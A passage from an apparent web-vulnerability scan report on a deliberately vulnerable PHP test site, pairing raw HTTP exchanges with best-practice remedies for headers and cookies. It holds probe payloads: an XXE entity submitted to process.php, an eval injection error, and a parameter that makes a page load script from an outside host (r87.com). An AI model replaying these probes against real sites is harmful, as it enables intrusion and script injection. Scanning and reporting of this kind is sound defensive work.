<b>Parse error</b>: syntax error, unexpected T_STRING in <b>C:\AppServ\www\hello.php(24) : eval()'d code</b> on line <b>1</b><br />
20$str = 20 Visitor;20 </p>

<div style="clear: both;">&nbsp;</div>
<div class="entry">


</div>
</div>
<div style="clear: both;">&nbsp;</div>
</div>
<!-- end #content -->

<div id="sidebar">
<ul>
<li>
<div id="search" >
<form method="get" action="artist.php">
<div>
<input type="text" name="id" id="search-text" value="" />
<input type="submit" id="search-submit" value="GO" />
</div>


17.6. http://php.testsparker.com/images/

Certainty



Go to the highlighted output

Request

GET /images/ HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 133.6081
Total Bytes Received : 248
Body Length : 0
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Content-Length: 0
Last-Modified: Tue, 11 Feb 2020 14:14:32 GMT
Accept-Ranges: bytes
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:54 GMT
ETag: "320000000199c2-0-59e4d798f9c4b"

17.7. http://php.testsparker.com/nslookup.php

Certainty



Go to the highlighted output

Request

GET /nslookup.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 131.3506
Total Bytes Received : 4122
Body Length : 3954
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3954
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:52 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><script type=text/javascript src = "" ></script>
<body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header --> <div id="page">
<div id="page-bgtop">
<div id="page-bgbtm">
<div id="content">
<div class="post">
<h2 class="title"><a href="#">Products </a></h2>

<div style="clear: both;">&nbsp;</div>
<div class="entry">
<p>
<form action="/nslookup.php" method="POST">
<table class="databases">
<tr>
<td colspan="3">
</td>
</tr>
<tr>
<td class="label" style="width: 89px">
<label>IP Adress:</label></td>
<td class="style3">
<input type="text" size="40" name="param" id="param" class="input"/>
</td>
<td class="style1">
<input type="submit" value="GO

17.8. http://php.testsparker.com/nslookup.php
MethodParameterValue
POSTparam

Certainty



Go to the highlighted output

Request

POST /nslookup.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 6
Content-Type: application/x-www-form-urlencoded
Referer: http://php.testsparker.com/nslookup.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

param=

Response

Response Time (ms) : 778.1168
Total Bytes Received : 4122
Body Length : 3954
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3954
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:53 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><script type=text/javascript src = "" ></script>
<body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header --> <div id="page">
<div id="page-bgtop">
<div id="page-bgbtm">
<div id="content">
<div class="post">
<h2 class="title"><a href="#">Products </a></h2>

<div style="clear: both;">&nbsp;</div>
<div class="entry">
<p>
<form action="/nslookup.php" method="POST">
<table class="databases">
<tr>
<td colspan="3">
</td>
</tr>
<tr>
<td class="label" style="width: 89px">
<label>IP Adress:</label></td>
<td class="style3">
<input type="text" size="40" name="param" id="param" class="input"/>
</td>
<td class="style1">
<input type="submit" value="GO

17.9. http://php.testsparker.com/process.php

Certainty



Go to the highlighted output

Request

GET /process.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 144.3064
Total Bytes Received : 1590
Body Length : 1422
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 1422
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:52 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header --> <!-- process.php load pages from path of the website. -->
<!-- FIXME: File / directory permissions -->
<!-- end #page -->
</div>

<div id="resetbar">
This website is automatically reset at every midnight (00:00 - UTC).
</div>
<div id="footer">
<p>Copyright (c) 2010 testsparker.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
</div> <!-- end #footer -->
</body>
</html>
17.10. http://php.testsparker.com/process.php

Certainty



Go to the highlighted output

Request

POST /process.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 124
Content-Type: application/xml
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "data:;base64,TlM3NzU0NTYxNDQ2NTc1">]><ns>&lfi;</ns>

Response

Response Time (ms) : 516.1087
Total Bytes Received : 1590
Body Length : 1422
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 1422
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:05:01 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header --> <!-- process.php load pages from path of the website. -->
<!-- FIXME: File / directory permissions -->
<!-- end #page -->
</div>

<div id="resetbar">
This website is automatically reset at every midnight (00:00 - UTC).
</div>
<div id="footer">
<p>Copyright (c) 2010 testsparker.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
</div> <!-- end #footer -->
</body>
</html>
17.11. http://php.testsparker.com/products.php

Certainty



Go to the highlighted output

Request

GET /products.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 385.5312
Total Bytes Received : 2977
Body Length : 2809
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 2809
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:52 GMT




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><script type=text/javascript src = "" ></script>
<body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header --> <div id="page">
<div id="page-bgtop">
<div id="page-bgbtm">
<div id="content">
<div class="post">
<div class="entry">
<h1 class="title"><a href="#">Products </a></h1>
<p>Currently , we don&#39;t have any products to sell.</p>
</div>
</div>
<div style="clear: both;">&nbsp;</div>
</div>
<!-- end #content -->

<div id="sidebar">
<ul>
<li>
<div id="search" >
<form method="get" action="artist.php">
<div>
<input type="text" name="id" id="search-text" value="" />
<input type="submit" id="search-submit" value="GO" />
</div>
</form>

</div>
<div style="clear: both;">&nbsp;</div>
</li>
<li>
<h2>Tags</h2>
<p>netsparker xss web-application-security false-positive-fr

Actions to Take

  • Enable CSP on your website by sending the Content-Security-Policyin HTTP response headers that instruct the browser to apply the policies you specified.
  • Apply the whitelist and policies as strict as possible.
  • Rescan your application to see if Netsparker identifies any weaknesses in your policies.

Remedy

Enable CSP on your website by sending the Content-Security-Policyin HTTP response headers that instruct the browser to apply the policies you specified.

External References

CLASSIFICATION

WASC15

18. SameSite Cookie Not Implemented

BEST PRACTICE
1

Cookies are typically sent to third parties in cross origin requests. This can be abused to do CSRF attacks. Recently a new cookie attribute named SameSitewas proposed to disable third-party usage for some cookies, to prevent CSRF attacks.

Same-site cookies allow servers to mitigate the risk of CSRF and information leakage attacks by asserting that a particular cookie should only be sent with requests initiated from the same registrable domain.

Vulnerabilities

18.1. http://php.testsparker.com/auth/login.php

Identified Cookie(s)

Cookie Source

Certainty



Go to the highlighted output

Request

GET /auth/login.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://php.testsparker.com/auth/
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 3765.1264
Total Bytes Received : 3530
Body Length : 3161
Is Compressed : No
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7; path=/
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Length: 3161
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:56 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-checkHTTP/1.1 200 OK
Set-Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7; path=/

Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Length: 3161
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:

Remedy

The server can set a same-site cookie by adding the SameSite=...attribute to the Set-Cookieheader. There are three possible values for the SameSiteattribute:

  • Lax:In this mode, the cookie will only be sent with a top-level get request.
    Set-Cookie: key=value; SameSite=Lax
  • Strict: In this mode, the cookie will not be sent with any cross-site usage even if the user follows a link to another website.
    Set-Cookie: key=value; SameSite=Strict
  • None: In this mode, the cookie will be sent with the cross-site requests. Cookies with SameSite=Nonemust also specify the Secureattribute to transfer them via a secure context. Setting a SameSite=Nonecookie without the Secureattribute will be rejected by the browsers.
    Set-Cookie: key=value; SameSite=None; Secure

External References

CLASSIFICATION

WASC15

19. Subresource Integrity (SRI) Not Implemented

BEST PRACTICE
1

Subresource Integrity (SRI) provides a mechanism to check integrity of the resource hosted by third parties like Content Delivery Networks (CDNs) and verifies that the fetched resource has been delivered without unexpected manipulation.

SRI does this using hash comparison mechanism. In this way, hash value declared in HTML elements (for now only script and link elements are supported) will be compared with the hash value of the resource hosted by third party.

Use of SRI is recommended as a best-practice, whenever libraries are loaded from a third-party source.

Vulnerabilities

19.1. http://php.testsparker.com/products.php?pro=hTTp%3a%2f%2fr87.com%2fn
MethodParameterValue
GETprohTTp://r87.com/n

Identified Sub Resource(s)

  • http://r87.com/n

Certainty



Go to the highlighted output

Request

GET /products.php?pro=hTTp%3a%2f%2fr87.com%2fn HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/process.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 134.0839
Total Bytes Received : 2993
Body Length : 2825
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 2825
Content-Type: text/html
Date: Mon, 13 Jul 20

eta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><script type=text/javascript src = "hTTp://r87.com/n" ></script>
<body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href=

Remedy

Using Subresource Integrity is simply to add integrityattribute to the scripttag along with a base64 encoded cryptographic hash value.

<script src="https://code.jquery.com/jquery-2.1.4.min.js" integrity="sha384-R4/ztc4ZlRqWjqIuvf6RX5yb/v90qNGx6fS48N0tRxiGkqveZETq72KgDVJCp2TC" crossorigin="anonymous"></script>

The hash algorithm must be one of sha256, sha384or sha512, followed by a '-' character.

External References

CLASSIFICATION

WASC15

20. Missing X-XSS-Protection Header

BEST PRACTICE
11

Netsparker detected a missing X-XSS-Protectionheader which means that this website could be at risk of a Cross-site Scripting (XSS) attacks.

Impact

This issue is reported as additional information only. There is no direct impact arising from this issue.

Vulnerabilities

20.1. http://php.testsparker.com/

Certainty



Go to the highlighted output

Request

GET / HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 690.8972
Total Bytes Received : 367
Body Length : 144
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Connection: Keep-Alive
Keep-Alive: timeout=5, max=150
Content-Length: 144
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:46 GMT

<html>
<HEAD>
<SCRIPT language="JavaScript">
<!--
window.location="process.php?file=Generics/index.nsp";
//-->
</SCRIPT>
</HEAD>
</html>
20.2. http://php.testsparker.com/artist.php?id=3
MethodParameterValue
GETid3

Certainty



Go to the highlighted output

Request

GET /artist.php?id=3 HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 170.017
Total Bytes Received : 3319
Body Length : 3151
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3151
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:52 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><link type="text/css" href="/Generics/style.css" rel="stylesheet"/>
<body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header --> <div id="page">
<div id="page-bgtop">
<div id="page-bgbtm">
<div id="content">
<div class="post">
<h2 class="title"><a href="artist.php#">Artist Service</a></h2>

<div style="clear: both;">&nbsp;</div>
<div class="entry">
<p>

<h3>Results: 3</h3></br>

<table class="container"><thead><th>ID</th><th>Name</th><th>SURNAME</th><th>CREATION DATE </th></thead><tbody><tr class="odd">
<td>3 </td>
<td>ED </td>
<td>CHASE </td>
<td>2006-02-15 04:34:33 </td>
<td> </td>
</tr>
</tbody></table> </p>

</div>
</div>
<div style="clear: both;">&nbsp;</div>
</div>
<!-- end #content -->

<div id="sidebar">
<ul>
<li>
<div id="search" >
<form method="get" action="artist.php">


20.3. http://php.testsparker.com/auth/style.css

Certainty



Go to the highlighted output

Request

GET /auth/style.css HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=73e42ec791210db73a505d7c4302e2c7
Referer: http://php.testsparker.com/auth/login.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 324.9017
Total Bytes Received : 9141
Body Length : 8888
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Content-Length: 8888
Last-Modified: Tue, 11 Feb 2020 14:14:32 GMT
Accept-Ranges: bytes
Content-Type: text/css
Date: Mon, 13 Jul 2020 07:04:56 GMT
ETag: "e3000000013083-22b8-59e4d798f793b"



body {
margin: 0;
padding: 0;
background: #F1F1F1 url(images/img01.gif) repeat-x left top;
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
color: #787878;
}

h1, h2, h3 {
margin: 0;
padding: 0;
font-weight: normal;
color: #023848;
}

h2 {
color: red;
}

h3{
color: Gray;
}


h1 {
font-size: 2em;
}

h2 {
font-size: 2.4em;
}

h3 {
font-size: 1.6em;
}

p, ul, ol {
margin-top: 0;
line-height: 180%;
}

ul, ol {
}

a {
text-decoration: none;
color: #4486C7;
}

a:hover {
}

#wrapper {
width: 980px;
margin: 0 auto;
padding: 0;
}


#header {
width: 980px;
height: 280px;
margin: 0 auto;
padding: 0px;
background: url(images/main-slideshow-no-flash.jpg) no-repeat left top;
}


#logo {
float: right;
margin: 0;
padding: 0;
color: #000000;
}

#logo h1, #logo p {
margin: 0;
padding: 0;
}

#logo h1 {
float: left;
padding-top: 223px;
letter-spacing: -1px;
text-align: right;
text-transform: lowercase;
font-size: 3.8em;
}

#logo p {
float: left;
margin: 0;
padding: 250px 0 0 10px;
font: normal 14px Georgia, "Times New Roman", Times, serif;
font-style: italic;
color: #FFFFFF;
}

#logo a {
border: none;
background: none;
text-decoration: none;
color: #FFFFFF;
}


#search {
float: right;
width: 280px;
height: 60px;
padding: 20px 0px 0px 0px;
background: #E2E2E2;
border-bottom: 4px solid #FFFFFF;
}

#search form {
height: 41px;
margin: 0;
padding: 10px 0 0 20px;
}

#search fieldset {
margin: 0;
padding: 0;
border: none;
}

#search-text {
width: 170px;
padding: 6px 5px 2px 5px;
border: 1px solid #DEDEDE;
background: #FFFFFF;
text

20.4. http://php.testsparker.com/function.mysql-connect

Certainty



Go to the highlighted output

Request

GET /function.mysql-connect HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/about.nsp
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 126.8606
Total Bytes Received : 482
Body Length : 313
Is Compressed : No
HTTP/1.1 404 Not Found
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Content-Length: 313
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 13 Jul 2020 07:04:53 GMT

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /function.mysql-connect was not found on this server.</p>
<hr>
<address>Apache/2.2.8 (Win32) PHP/5.2.6 Server at php.testsparker.com Port 80</address>
</body></html>
20.5. http://php.testsparker.com/Generics/

Certainty



Go to the highlighted output

Request

GET /Generics/ HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 129.2287
Total Bytes Received : 248
Body Length : 0
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Content-Length: 0
Last-Modified: Tue, 11 Feb 2020 14:14:32 GMT
Accept-Ranges: bytes
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:52 GMT
ETag: "960000000191b3-0-59e4d798bb6f6"

20.6. http://php.testsparker.com/images/

Certainty



Go to the highlighted output

Request

GET /images/ HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 133.6081
Total Bytes Received : 248
Body Length : 0
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
Content-Length: 0
Last-Modified: Tue, 11 Feb 2020 14:14:32 GMT
Accept-Ranges: bytes
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:54 GMT
ETag: "320000000199c2-0-59e4d798f9c4b"

20.7. http://php.testsparker.com/nslookup.php

Certainty



Go to the highlighted output

Request

GET /nslookup.php HTTP/1.1
Host: php.testsparker.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
X-Scanner: Netsparker

Response

Response Time (ms) : 131.3506
Total Bytes Received : 4122
Body Length : 3954
Is Compressed : No
HTTP/1.1 200 OK
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3954
Content-Type: text/html
Date: Mon, 13 Jul 2020 07:04:52 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site - PHP</title>
<link href="/style.css" rel="stylesheet" type="text/css" media="screen" />
</head><script type=text/javascript src = "" ></script>
<body>
<div id="wrapper">

<div id="menu">
<ul>
<li><a href="/process.php?file=Generics/index.nsp">Home</a></li>
<li><a href="/hello.php?name=Visitor">Hello</a></li>
<li><a href="/products.php?pro=url">Products</a></li>
<li><a href="/process.php?file=Generics/about.nsp">About</a></li>
<li><a href="/process.php?file=Generics/contact.nsp">Contact</a></li>
<li><a href="/auth/">Login</a></li>
</ul>
</div>
<!-- end #menu -->
<div id="header">

</div>
<!-- end #header --> <div id="page">
<div id="page-bgtop">
<div id="page-bgbtm">
<div id="content">
<div class="post">
<h2 class="title"><a href="#">Products </a></h2>

<div style="clear: both;">&nbsp;</div>
<div class="entry">
<p>
<form action="/nslookup.php" method="POST">
<table class="databases">
<tr>
<td colspan="3">
</td>
</tr>
<tr>
<td class="label" style="width: 89px">
<label>IP Adress:</label></td>
<td class="style3">
<input type="text" size="40" name="param" id="param" class="input"/>
</td>
<td class="style1">
<input type="submit" value="GO

